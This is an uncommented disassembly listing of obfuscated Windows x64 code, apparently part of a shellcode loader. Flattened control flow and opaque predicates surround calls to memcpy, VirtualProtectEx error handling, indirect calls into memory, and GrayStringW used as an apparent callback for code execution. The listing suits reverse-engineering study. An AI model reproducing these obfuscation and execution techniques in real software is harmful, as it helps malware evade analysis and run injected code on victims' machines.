lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x90c7827a
mov ecx, 0xe1cd4f4a
jmp 0x14000ca30
cmp eax, 0x98490e0a
je 0x14000f8eb
cmp eax, 0x988aa6f7
jne 0x14000ca3d
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x257847b1
mov ecx, 0xb69cca9f
jmp 0x14000ca30
cmp eax, 0x4fa1b6c6
je 0x14000f909
cmp eax, 0x52341e6c
jne 0x14000ca3d
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140013094], 0xa
setl cl
mov edx, ecx
xor dl, al
or cl, al
xor cl, dl
mov eax, 0x226f6248
mov ecx, 0x81d44b20
jmp 0x14000f890
cmp eax, 0xdac02447
je 0x14000f927
cmp eax, 0xdca257f1
jne 0x14000ca3d
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xb2e14e1b
mov ecx, 0x6717eed9
jmp 0x14000ca30
cmp eax, 0xc533153
je 0x14000f931
cmp eax, 0xd98a6cb
jne 0x14000ca3d
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x8c2e3cb2
mov ecx, 0xf5848ff9
jmp 0x14000ca30
cmp eax, 0xb8314051
je 0x14000f941
cmp eax, 0xb8b4cae5
jne 0x14000ca3d
mov eax, 0x6b0512cd
jmp 0x14000ca3d
cmp eax, 0x772017f9
je 0x14000f995
cmp eax, 0x781ba97c
jne 0x14000ca3d
mov eax, 0xa33e76de
jmp 0x14000ca3d
cmp eax, 0xf13e4c4a
je 0x14000f99f
cmp eax, 0xf176addc
jne 0x14000ca3d
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140013094], 0xa
setl dl
mov ebx, edx
and bl, al
xor al, dl
xor al, 1
or dl, cl
and dl, al
mov eax, ebx
xor al, dl
mov eax, 0xffca286c
mov ecx, 0x5c49dfe
cmovne eax, ecx
test dl, dl
mov ecx, 0xffca286c
cmovne ecx, eax
test bl, bl
cmove ecx, eax
mov eax, ecx
jmp 0x14000ca3d
cmp eax, 0x324cf734
je 0x14000f9bd
cmp eax, 0x32722cd2
jne 0x14000ca3d
cmp byte [rbp - 0xc], 0
mov eax, 0x6bed95ff
mov ecx, 0x5e757685
cmovne eax, ecx
jmp 0x14000ca3d
cmp eax, 0x851d8ad4
je 0x14000f9c7
cmp eax, 0x85ea5541
jne 0x14000ca3d
mov eax, 0xb75609fc
jmp 0x14000ca3d
cmp eax, 0x35f63560
je 0x14000f9f4
cmp eax, 0x36e73bc4
jne 0x14000ca3d
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x794a7ed3
mov ecx, 0xc7da61cd
jmp 0x14000ca30
cmp eax, 0xc52d7477
je 0x14000fa12
cmp eax, 0xc5a60acd
jne 0x14000ca3d
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x3d54366
mov ecx, 0x34672dd1
jmp 0x14000ca30
cmp eax, 0xfe03d124
je 0x14000fa1c
cmp eax, 0xfe43b1cc
jne 0x14000ca3d
mov eax, dword [0x140013090]
mov edi, dword [0x140013094]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
mov eax, 0xc52d7477
mov esi, 0x8ee2e24d
cmove eax, esi
sete bl
cmp edi, 0xa
mov ecx, 0xc52d7477
cmovge eax, ecx
setl cl
xor cl, bl
cmovne eax, esi
test dl, 1
mov ecx, eax
cmove ecx, esi
cmp edi, 0xa
cmovl ecx, eax
mov eax, ecx
jmp 0x14000ca3d
cmp eax, 0xa8c0f967
je 0x14000fa3e
cmp eax, 0xa954b107
jne 0x14000ca3d
mov eax, 0xd8491e36
jmp 0x14000ca3d
cmp eax, 0x5d258c6f
je 0x14000fa5c
cmp eax, 0x5e481e54
jne 0x14000ca3d
sub rsp, 0x20
call r15
add rsp, 0x20
mov eax, 0x35ba44a5
jmp 0x14000ca3d
cmp eax, 0xe3fe9cd3
je 0x14000fa7a
cmp eax, 0xe5236f40
jne 0x14000ca3d
mov eax, 0x8228d1c3
jmp 0x14000ca3d
cmp eax, 0x1ad57000
je 0x14000fabf
cmp eax, 0x1b6bdfdc
jne 0x14000ca3d
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xa9cd7cf2
mov ecx, 0xbd25ba70
jmp 0x14000ca30
cmp eax, 0x93b3a5c7
je 0x14000fadd
cmp eax, 0x967be58e
jne 0x14000ca3d
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x58], rax
mov rax, qword [rbp - 0x58]
mov eax, 0xf388e0c4
jmp 0x14000ca3d
cmp eax, 0x4c7e5c5c
je 0x14000fae7
cmp eax, 0x4cd7ab3b
jne 0x14000ca3d
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete cl
mov eax, 0x69daa835
mov ebx, 0x75d1cf1b
jmp 0x14000fb91
cmp eax, 0xd5ceb231
je 0x14000faf1
cmp eax, 0xd6459e0a
jne 0x14000ca3d
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x7eff10ea
mov ecx, 0xf01a0790
jmp 0x14000ca30
cmp eax, 0x9268ed7
je 0x14000fafb
cmp eax, 0x994f0cf
jne 0x14000ca3d
mov eax, 0xf058cbe6
jmp 0x14000ca3d
cmp eax, 0xb6cac1b0
je 0x14000fb05
cmp eax, 0xb6dc9d13
jne 0x14000ca3d
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x3debd5b7
mov ecx, 0x92eb0a71
jmp 0x14000ca30
cmp eax, 0x6b0512cd
je 0x14000fb34
cmp eax, 0x6bed95ff
jne 0x14000ca3d
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x9d092ff1
mov ecx, 0x1d641e2f
jmp 0x14000ca30
cmp eax, 0xf01a0790
je 0x14000fb75
cmp eax, 0xf058cbe6
jne 0x14000ca3d
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xbc94d434
mov ecx, 0x684af819
jmp 0x14000ca30
cmp eax, 0x251c5174
je 0x14000fbab
cmp eax, 0x257847b1
jne 0x14000ca3d
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140013094], 0xa
setl dl
mov ebx, edx
xor bl, al
mov ecx, edx
or cl, al
xor cl, bl
and dl, al
mov eax, edx
xor al, cl
xor al, 1
or al, cl
and al, dl
xor al, bl
mov eax, 0xd5ceb231
mov ecx, 0x34cad61f
cmovne eax, ecx
jmp 0x14000ca3d
cmp eax, 0x8b0786da
je 0x14000fbc9
cmp eax, 0x8c2e3cb2
jne 0x14000ca3d
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xa8c0f967
mov ecx, 0x8228d1c3
jmp 0x14000ca30
cmp eax, 0x43d3032d
je 0x14000fbde
cmp eax, 0x44d13484
jne 0x14000ca3d
mov eax, 0xb8ea6c5a
jmp 0x14000ca3d
cmp eax, 0xccb51bba
je 0x14000fbfc
cmp eax, 0xcdd5f2a2
jne 0x14000ca3d
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xa71f7ba9
mov ecx, 0x7a870900
jmp 0x14000ca30
cmp eax, 0x36eb247
je 0x14000fc22
cmp eax, 0x3d54366
jne 0x14000ca3d
mov eax, 0xc5a60acd
jmp 0x14000ca3d
cmp eax, 0xafd1184a
je 0x14000fc40
cmp eax, 0xb04fddd0
jne 0x14000ca3d
mov eax, dword [rbp - 0x20]
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xc4900268
mov ecx, 0x9c3b6b6c
jmp 0x14000ca30
cmp eax, 0x6717eed9
je 0x14000fc4a
cmp eax, 0x680f57b4
jne 0x14000ca3d
mov eax, 0xa26a5c10
jmp 0x14000ca3d
cmp eax, 0xe9a4308c
je 0x14000fc7a
cmp eax, 0xea29c831
jne 0x14000ca3d
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140013094], 0xa
setl dl
mov ebx, edx
xor bl, al
mov ecx, edx
or cl, al
xor cl, bl
and dl, al
mov eax, edx
xor al, cl
xor al, 1
or al, cl
and al, dl
xor al, bl
mov eax, 0x6a21308b
mov ecx, 0xc5fb7686
cmovne eax, ecx
jmp 0x14000ca3d
cmp eax, 0x1fb733cb
je 0x14000fced
cmp eax, 0x201ca7e5
jne 0x14000ca3d
mov eax, 0xe6596d7f
jmp 0x14000ca3d
cmp eax, 0x9d092ff1
je 0x14000fd1d
cmp eax, 0x9d68d870
jne 0x14000ca3d
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xb13dd577
mov ecx, 0x8eb91a1c
jmp 0x14000ca30
cmp eax, 0x54ef24fb
je 0x14000fd3b
cmp eax, 0x551fdbe9
jne 0x14000ca3d
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x598c69b2
mov ecx, 0x988aa6f7
jmp 0x14000ca30
cmp eax, 0xdf61f484
je 0x14000fd45
cmp eax, 0xe08a348a
jne 0x14000ca3d
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140013094], 0xa
setl dl
mov ebx, edx
xor bl, al
mov ecx, edx
or cl, al
xor cl, bl
and dl, al
mov eax, edx
xor al, cl
xor al, 1
or al, cl
and al, dl
xor al, bl
mov eax, 0x57d9a4df
mov ecx, 0xe1797eeb
cmovne eax, ecx
jmp 0x14000ca3d
cmp eax, 0x107c0d4c
je 0x14000fd4f
cmp eax, 0x11b24cc3
jne 0x14000ca3d
mov eax, 0x4c4f3c35
jmp 0x14000ca3d
cmp eax, 0xb9fae154
je 0x14000fd59
cmp eax, 0xbbbcd554
jne 0x14000ca3d
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xe59643ea
mov ecx, 0x5bf361ef
jmp 0x14000ca30
cmp eax, 0x7eabd82b
je 0x14000fd77
cmp eax, 0x7eff10ea
jne 0x14000ca3d
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xbc4e7ed9
mov ecx, 0x5989272f
jmp 0x14000ca30
cmp eax, 0xf6448b1a
je 0x14000ca0e
cmp eax, 0xf6449aba
jne 0x14000ca3d
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xa6718d6a
mov ecx, 0xfe03d124
jmp 0x14000ca30
cmp eax, 0x2b1e5d82
je 0x14000fd95
cmp eax, 0x2b4e44f1
jne 0x14000ca3d
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x97342ec1
mov ecx, 0x17e20e5d
jmp 0x14000ca30
cmp eax, 0x834d0ded
je 0x14000fdb3
cmp eax, 0x84cef50b
jne 0x14000ca3d
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xb9fae154
mov ecx, 0xc74105f6
jmp 0x14000ca30
cmp eax, 0x356cb632
je 0x14000fdbd
cmp eax, 0x35ba44a5
jne 0x14000ca3d
sub rsp, 0x20
call r15
add rsp, 0x20
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x5e481e54
mov ecx, 0x9af12e36
jmp 0x14000ca30
cmp eax, 0xc102fd0d
je 0x14000fddb
cmp eax, 0xc4900268
jne 0x14000ca3d
mov eax, dword [rbp - 0x20]
mov eax, 0xb04fddd0
jmp 0x14000ca3d
cmp eax, 0xfd66de74
je 0x14000fdf9
cmp eax, 0xfdcb5f2d
jne 0x14000ca3d
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x324cf734
mov ecx, 0x4779c65e
jmp 0x14000ca30
cmp eax, 0xa6718d6a
je 0x14000fe03
cmp eax, 0xa71f7ba9
jne 0x14000ca3d
mov eax, 0xcdd5f2a2
jmp 0x14000ca3d
cmp eax, 0x5b957cd5
je 0x14000fe11
cmp eax, 0x5bf361ef
jne 0x14000ca3d
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xe59643ea
mov ecx, 0xcea46fbf
jmp 0x14000ca30
cmp eax, 0xe2f7b149
je 0x14000fe2f
cmp eax, 0xe31b92b5
jne 0x14000ca3d
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x4c7e5c5c
mov ecx, 0x5e5c80ec
jmp 0x14000ca30
cmp eax, 0x1826c64b
je 0x14000fe4d
cmp eax, 0x18fc0ddc
jne 0x14000ca3d
mov eax, 0xf5848ff9
jmp 0x14000ca3d
cmp eax, 0x92eb0a71
je 0x14000fe6b
cmp eax, 0x9377bc00
jne 0x14000ca3d
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x5a3609dd
mov ecx, 0x535a0c6e
jmp 0x14000ca30
cmp eax, 0x4c493a3b
je 0x14000feda
cmp eax, 0x4c4f3c35
jne 0x14000ca3d
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xdff0da6
mov ecx, 0x6b7de8c
jmp 0x14000ca30
cmp eax, 0xd4f88fea
je 0x14000fee4
cmp eax, 0xd56b0315
jne 0x14000ca3d
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xe81927cd
mov ecx, 0x44a8007
jmp 0x14000ca30
cmp eax, 0x6818577
je 0x14000ff22
cmp eax, 0x6b7de8c
jne 0x14000ca3d
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xdff0da6
mov ecx, 0x6f50c543
jmp 0x14000ca30
cmp eax, 0xb5236f48
je 0x14000ff40
cmp eax, 0xb69cca9f
jne 0x14000ca3d
mov eax, dword [0x140013090]
mov ecx, dword [0x140013094]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
cmp ecx, 0xa
setl bl
xor bl, al
mov eax, 0xdd9c9996
mov ebx, 0xa3a898b4
cmovne eax, ebx
test dl, 1
cmove eax, ebx
cmp ecx, 0xa
cmovl eax, ebx
jmp 0x14000ca3d
cmp eax, 0x6a414662
je 0x14000ff5e
cmp eax, 0x6a41e8ae
jne 0x14000ca3d
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x598c69b2
mov ecx, 0x551fdbe9
jmp 0x14000ca30
cmp eax, 0xeec3ab18
je 0x14000ffa3
cmp eax, 0xef725192
jne 0x14000ca3d
mov rax, qword [rbp - 8]
mov r8, qword [rax]
mov rdx, qword [rbp - 0x38]
mov rcx, qword [rbp - 0x40]
sub rsp, 0x20
call sub.VCRUNTIME140.dll_memcpy
add rsp, 0x20
mov rax, qword [rbp - 0x30]
mov eax, 0xb338368f
jmp 0x14000ca3d
cmp eax, 0x23d335d4
je 0x14000ffc1
cmp eax, 0x24e50405
jne 0x14000ca3d
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xb939e046
mov ecx, 0xdca257f1
jmp 0x14000ca30
cmp eax, 0x8a1157fc
je 0x14000ffdf
cmp eax, 0x8aebd7f1
jne 0x14000ca3d
mov eax, dword [0x140013090]
mov esi, dword [0x140013094]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
mov ebx, 0x4c493a3b
mov edi, 0xe9a4308c
cmove ebx, edi
sete al
cmp esi, 0xa
mov ecx, 0x4c493a3b
cmovge ebx, ecx
setl cl
xor cl, al
cmovne ebx, edi
test dl, 1
mov eax, ebx
cmove eax, edi
cmp esi, 0xa
cmovl eax, ebx
jmp 0x14000ca3d
cmp eax, 0x3e96ee12
je 0x14000ffe9
cmp eax, 0x3ebb41e5
jne 0x14000ca3d
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xb962b109
mov ecx, 0xd48d08ef
jmp 0x14000ca30
cmp eax, 0xc7da61cd
je 0x14001000a
cmp eax, 0xc954bda5
jne 0x14000ca3d
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x8f7565db
mov ecx, 0xe9838811
jmp 0x14000ca30
cmp eax, 0x2fe9b1a
je 0x140010014
cmp eax, 0x3116c3f
jne 0x14000ca3d
mov eax, 0x492c549e
jmp 0x14000ca3d
cmp eax, 0xad23c5e1
je 0x140010032
cmp eax, 0xae4110e5
jne 0x14000ca3d
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140013094], 0xa
setl dl
mov ebx, edx
xor bl, al
mov ecx, edx
or cl, al
xor cl, bl
and dl, al
mov eax, edx
xor al, cl
xor al, 1
or al, cl
and al, dl
xor al, bl
mov eax, 0x4d2fdb22
mov ecx, 0xe5236f40
cmovne eax, ecx
jmp 0x14000ca3d
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xa8c0f967
mov ecx, 0x18fc0ddc
jmp 0x14000ca30
mov rax, qword [rbp - 0x60]
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xb13dd577
mov ecx, 0x9d68d870
jmp 0x14000ca30
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xb939e046
mov ecx, 0x24e50405
jmp 0x14000ca30
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x680f57b4
mov ecx, 0xa26a5c10
jmp 0x14000ca30
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x8c2e3cb2
mov ecx, 0xde9d308c
jmp 0x14000ca30
mov rax, qword [rbp - 8]
mov qword [rax], 0
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x54586085
mov ecx, 0xe2f7b149
jmp 0x14000ca30
mov eax, 0x1d641e2f
jmp 0x14000ca3d
mov eax, 0xee058394
jmp 0x14000ca3d
mov eax, 0x5b11f4fa
jmp 0x14000ca3d
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x5a3609dd
mov ecx, 0x886f443b
jmp 0x14000ca30
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x36eb247
mov ecx, 0x1f29431
jmp 0x14000ca30
mov eax, 0xa3a898b4
jmp 0x14000ca3d
mov eax, 0x6b7de8c
jmp 0x14000ca3d
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xbbbcd554
mov ecx, 0x7e097c5b
jmp 0x14000ca30
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x44d13484
mov ecx, 0x9377bc00
jmp 0x14000ca30
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xbbbcd554
mov ecx, 0xe83b0fb
jmp 0x14000ca30
mov eax, 0x36e73bc4
jmp 0x14000ca3d
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
mov ecx, 0xe81927cd
cmove ecx, r14d
cmp dword [0x140013094], 0xa
cmovl ecx, r14d
setl dl
xor dl, al
cmovne ecx, r14d
mov eax, ecx
jmp 0x14000ca3d
mov eax, 0x7eabd82b
jmp 0x14000ca3d
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xb9fae154
mov ecx, 0x98490e0a
jmp 0x14000ca30
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x43d3032d
mov ecx, 0x324cf734
cmovne eax, ecx
cmp dword [0x140013094], 0xa
mov ecx, 0x43d3032d
cmovl eax, ecx
jmp 0x14000ca3d
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x2b1e5d82
mov ecx, 0xc02bab8
jmp 0x14000ca30
mov eax, 0x655465c3
jmp 0x14000ca3d
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xb962b109
mov ecx, 0x3ebb41e5
jmp 0x14000ca30
mov eax, 0x86fdbc5b
jmp 0x14000ca3d
mov eax, 0x98490e0a
jmp 0x14000ca3d
mov eax, dword [0x140013090]
mov edi, dword [0x140013094]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
sete r8b
cmp edi, 0xa
setge bl
setl cl
mov eax, edx
or al, cl
xor cl, r8b
and al, cl
and bl, r8b
xor bl, al
xor cl, bl
mov eax, 0x6a21308b
mov esi, 0xe3fe9cd3
jmp 0x14000f761
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x9ca8740
mov ecx, 0x2fd7232d
jmp 0x14000ca30
mov eax, 0x1fb733cb
jmp 0x14000ca3d
mov eax, 0x551fdbe9
jmp 0x14000ca3d
cmp qword [rbp - 0x38], 0
setne byte [rbp - 0xd]
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x1c7d6ae6
mov ecx, 0xf6449aba
cmovne eax, ecx
cmp dword [0x140013094], 0xa
mov ecx, 0x1c7d6ae6
cmovl eax, ecx
jmp 0x14000ca3d
mov eax, 0x1b6bdfdc
jmp 0x14000ca3d
mov eax, 0xe8472e74
jmp 0x14000ca3d
sub rsp, 0x20
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetDC]
add rsp, 0x20
mov rbx, rax
mov r9, qword [rbp - 0x40]
mov r8, qword [rbp - 0x40]
sub rsp, 0x50
mov dword [rsp + 0x40], 0
mov dword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_GrayStringW]
add rsp, 0x30
xor ecx, ecx
mov rdx, rbx
call qword [sym.imp.USER32.dll_ReleaseDC]
add rsp, 0x20
mov eax, 0xe5b5c8d3
jmp 0x14000ca3d
mov eax, 0x5bf361ef
jmp 0x14000ca3d
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xd43a21d9
mov ecx, 0xc68f3606
jmp 0x14000ca30
mov rax, qword [rbp - 0x30]
mov dword [rax], 0
mov rax, qword [rbp - 8]
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
add rsp, 0x20
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x107c0d4c
mov ecx, 0x68a2b2fc
cmovne eax, ecx
cmp dword [0x140013094], 0xa
mov ecx, 0x107c0d4c
cmovl eax, ecx
jmp 0x14000ca3d
cmp byte [rbp - 0xd], 0
mov eax, 0xf099c783
mov ecx, 0x3cfe1a69
cmovne eax, ecx
jmp 0x14000ca3d
mov eax, 0x2b4e44f1
jmp 0x14000ca3d
mov eax, 0xd4f88fea
jmp 0x14000ca3d
mov eax, 0xae4110e5
jmp 0x14000ca3d
mov eax, 0x8884ad7a
jmp 0x14000ca3d
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x2ace2386
mov ecx, 0x809718
jmp 0x14000ca30
mov eax, 0x1ca989a9
jmp 0x14000ca3d
mov eax, 0xc6664d3b
jmp 0x14000ca3d
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
mov edi, 0x5e481e54
mov esi, 0x35ba44a5
cmove edi, esi
sete dl
cmp dword [0x140013094], 0xa
setl bl
mov eax, 0x5e481e54
cmovge edi, eax
xor dl, bl
mov eax, ebx
or al, cl
and al, dl
xor dl, 1
and bl, cl
or bl, dl
mov ecx, eax
xor cl, bl
test al, al
mov eax, edi
cmovne eax, esi
test bl, bl
cmovne eax, edi
test cl, cl
cmove eax, esi
jmp 0x14000ca3d
mov eax, 0x3ebb41e5
jmp 0x14000ca3d
mov edx, dword [rbp - 0x24]
sub rsp, 0x20
lea rcx, str._n_t____VirtualProtectEx_Failed_With_Error_:__d__n
call fcn.14000b720
add rsp, 0x20
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x3e96ee12
mov ecx, 0x162256d0
jmp 0x14000ca30
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
sete r8b
cmp dword [0x140013094], 0xa
setge dl
setl bl
mov eax, ebx
and al, r8b
and cl, bl
xor cl, al
xor bl, r8b
or dl, r8b
and dl, bl
xor dl, cl
mov eax, 0x11b24cc3
mov ecx, 0x863517d1
cmovne eax, ecx
jmp 0x14000ca3d
cmp byte [rbp - 0xb], 0
mov eax, 0x344d74fa
mov ecx, 0x7f7b9f11
cmovne eax, ecx
jmp 0x14000ca3d
mov rax, qword [rbp - 0x30]
mov dword [rax], 0
mov rax, qword [rbp - 8]
mov rax, qword [rax]
mov qword [rbp - 0x68], rax
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
add rsp, 0x20
mov qword [rbp - 0x70], rax
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xf8bc2d05
mov ecx, 0xf0c8a54a
jmp 0x14000ca30
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x994f0cf
mov ecx, 0xf058cbe6
jmp 0x14000ca30
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xf6449aba
mov ecx, 0xa968592f
jmp 0x14000ca30
mov eax, 0xf01a0790
jmp 0x14000ca3d
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x36eb247
mov ecx, 0xe8472e74
jmp 0x14000ca30
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xc52d7477
mov ecx, 0x6a41e8ae
jmp 0x14000ca30
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x994f0cf
mov ecx, 0x34cb4e5a
jmp 0x14000ca30
mov eax, 0x1ee30459
jmp 0x14000ca3d
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x4d718c3
mov ecx, 0xe2c69d48
jmp 0x14000ca30
mov eax, 0xe83b0fb
jmp 0x14000ca3d
mov eax, 0x655465c3
jmp 0x14000ca3d
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x4ae9e572
mov ecx, 0xc533153
jmp 0x14000ca30
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x97342ec1
mov ecx, 0x2b4e44f1
jmp 0x14000ca30
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xad23c5e1
mov ecx, 0x1051f4ab
jmp 0x14000ca30
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xbc94d434
mov ecx, 0x4722cf1e
jmp 0x14000ca30
mov rax, qword [rbp - 0x30]
mov dword [rax], 0
mov rax, qword [rbp - 8]
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
add rsp, 0x20
mov eax, 0x1c5f0c2e
jmp 0x14000ca3d
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140013094], 0xa
setge cl
setl dl
mov ebx, edx
and bl, al
xor dl, al
or cl, al
xor dl, 1
and dl, cl
mov eax, ebx
xor al, dl
xor dl, 1
and dl, bl
xor dl, al
mov eax, 0xfffedad7
mov ecx, 0x3ceccb38
cmovne eax, ecx
jmp 0x14000ca3d
mov eax, 0x1fafc603
jmp 0x14000ca3d
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x9d092ff1
mov ecx, 0xee6af6d6
jmp 0x14000ca30
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xeeae3758
mov ecx, 0x9f912997
jmp 0x14000ca30
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xeeae3758
mov ecx, 0x157dc97e
jmp 0x14000ca30
mov rax, qword [rbp - 0x18]
mov qword [rax], 0
mov r8, qword [rbp - 8]
mov rdx, qword [rbp - 0x18]
sub rsp, 0x20
mov rcx, r12
call section..text
add rsp, 0x20
mov dword [rbp - 0x20], eax
